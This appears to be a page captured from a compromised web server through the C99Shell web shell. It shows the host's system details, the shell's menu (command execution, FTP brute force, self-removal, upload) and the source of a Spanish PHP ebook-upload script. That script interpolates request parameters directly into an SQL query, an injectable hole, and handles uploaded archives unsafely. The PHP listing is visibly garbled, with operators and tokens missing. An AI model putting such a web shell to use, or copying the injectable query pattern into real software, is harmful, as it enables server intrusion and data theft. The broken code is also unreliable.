!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/wwwroot/frames/ftpuploadng/   drwxrwxr-x
Free 83.34 GB of 96.73 GB (86.16%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     trata_fb2ng.php (3.35 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once "../classes/dUnzip2.inc.php";
require_once 
"../classes/dZip.inc.php";
include(
"../classes/fb2.classtxapuza.php"); 
include (
"../conn.php");  
$debug=false;
if   (
$debug){
echo 
"empezamossssss";
echo 
date("H:i:s"); 

flush();

$original_zip=$_FILES['upload']['tmp_name']; 
$directorio="../../tmp/".strtolower(rand(111111,999999));  
$nombre=ucwords(strtolower($_POST['nombre']));
$apellido=ucwords(strtolower($_POST['apellidos']));
$titulo=TRIM(ucwords(strtolower($_POST['titulo'])));


$queryx="select genero, subgenero from tipo where id_ajax='{$_REQUEST['provinciaList']}' and subgenero='{$_REQUEST['localidadList']}' limit 1";

   
   
flush();
$gen=mysql_fetch_array($resx=mysql_query($queryx,$conn));
 
$correo=$_POST['correo'];
      
$genero=$gen['genero'];
     
$subgenero=$gen['subgenero'];
      
$anyo=$_POST['anyo']; 


 
 
$nombre_fichero_zip$fichero=str_replace(" ","_",
elimina_acentos(TRIM(ucwords(strtolower($_POST['apellidos'])))).",".
elimina_acentos(TRIM(ucwords(strtolower($_POST['nombre']))))."-".
elimina_acentos(strtoupper($_POST['titulo']))).
elimina_acentos("-({$genero}").
",".
elimina_acentos("$subgenero)").
".zip";
$nombre_fichero_fb2=
$fichero=str_replace(" ","_",
elimina_acentos(TRIM(ucwords(strtolower($_POST['apellidos'])))).",".
elimina_acentos(TRIM(ucwords(strtolower($_POST['nombre']))))."-".
elimina_acentos(strtoupper($_POST['titulo']))).
elimina_acentos("-({$genero}").
",".
elimina_acentos("$subgenero)").
".fb2";  
if   (
$debug){ 
echo 
$fichero;
}


$zip = new dUnzip2($original_zip);

$zip->getList();


$zip->unzipAll($directorio);
if   (
$debug){ 
echo  
"<br>directorio a crear =".$directorio."------<br>";
 echo 
"<pre>";
print_r($zip);
}
 
$nofb2=array();
 foreach (
$zip->compressedList as $fichero=>$atributo){
     
      if  (
strtolower(substr($fichero,strlen($fichero)-3,3))=="fb2"){
           
// se encuentra el FB2.
           
$ficherofb2=str_replace(" ","\ ",$fichero);
          
$ficherofb2=basename($fichero);
           
     }else{
          
$nofb2[].=$fichero;
     }
 }

       if   (
$debug){ 
        echo 
chr(10)."$fichero-----------".$ficherofb2.chr(10);
       }
        if (
rename ("./$directorio/$ficherofb2","./$directorio/copia".$ficherofb2)){
            
$ficherofb2original$ficherofb2;
        
$ficherofb2="copia".$ficherofb2;  
        if   (
$debug){             
        echo 
"correcto!!!!!";
        }
        }else{
            echo 
"fallo";
            die();
        }

      

 






  
  
  
  
$fb2=new fb2("./$directorio/$ficherofb2");
  
$fb2->get_autor();
  
$fb2->get_titulo();
  if   (
$debug){ 
echo 
"<br>titulo en metadadas del fb2".$fb2->titulo;
echo 
"<br>".$fb2->apellido;
echo 
"<br>".$fb2->nombre."<br>";
  }

$fb2->set_autor($nombre,$apellido);
$fb2->set_titulo($titulo);
$fb2->graba("./$directorio/$nombre_fichero_fb2");

     


// ahora, volvemos a zipearlo todo de nuevo

$ficheronuevo=new dZip("./$directorio/$nombre_fichero_zip");

$ficheronuevo->addFile("./$directorio/$nombre_fichero_fb2","./$directorio/$nombre_fichero_fb2") ;
foreach   (
$nofb2 as $valor){
    
$ficheronuevo->addFile("./$directorio/$valor","./$directorio/$valor");
}
$ficheronuevo->save();  
if   (
$debug){ 
echo 
"<pre>";
print_r($ficheronuevo);
}


//deltree ("./$directorio");


function delTree($dir) {
    
$files glob$dir '*'GLOB_MARK );
    foreach( 
$files as $file ){
        if( 
substr$file, -) == '/' )
            
delTree$file );
        else
            
unlink$file );
    }
   
    if (
is_dir($dir)) rmdir$dir );
   

    

?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0052 ]--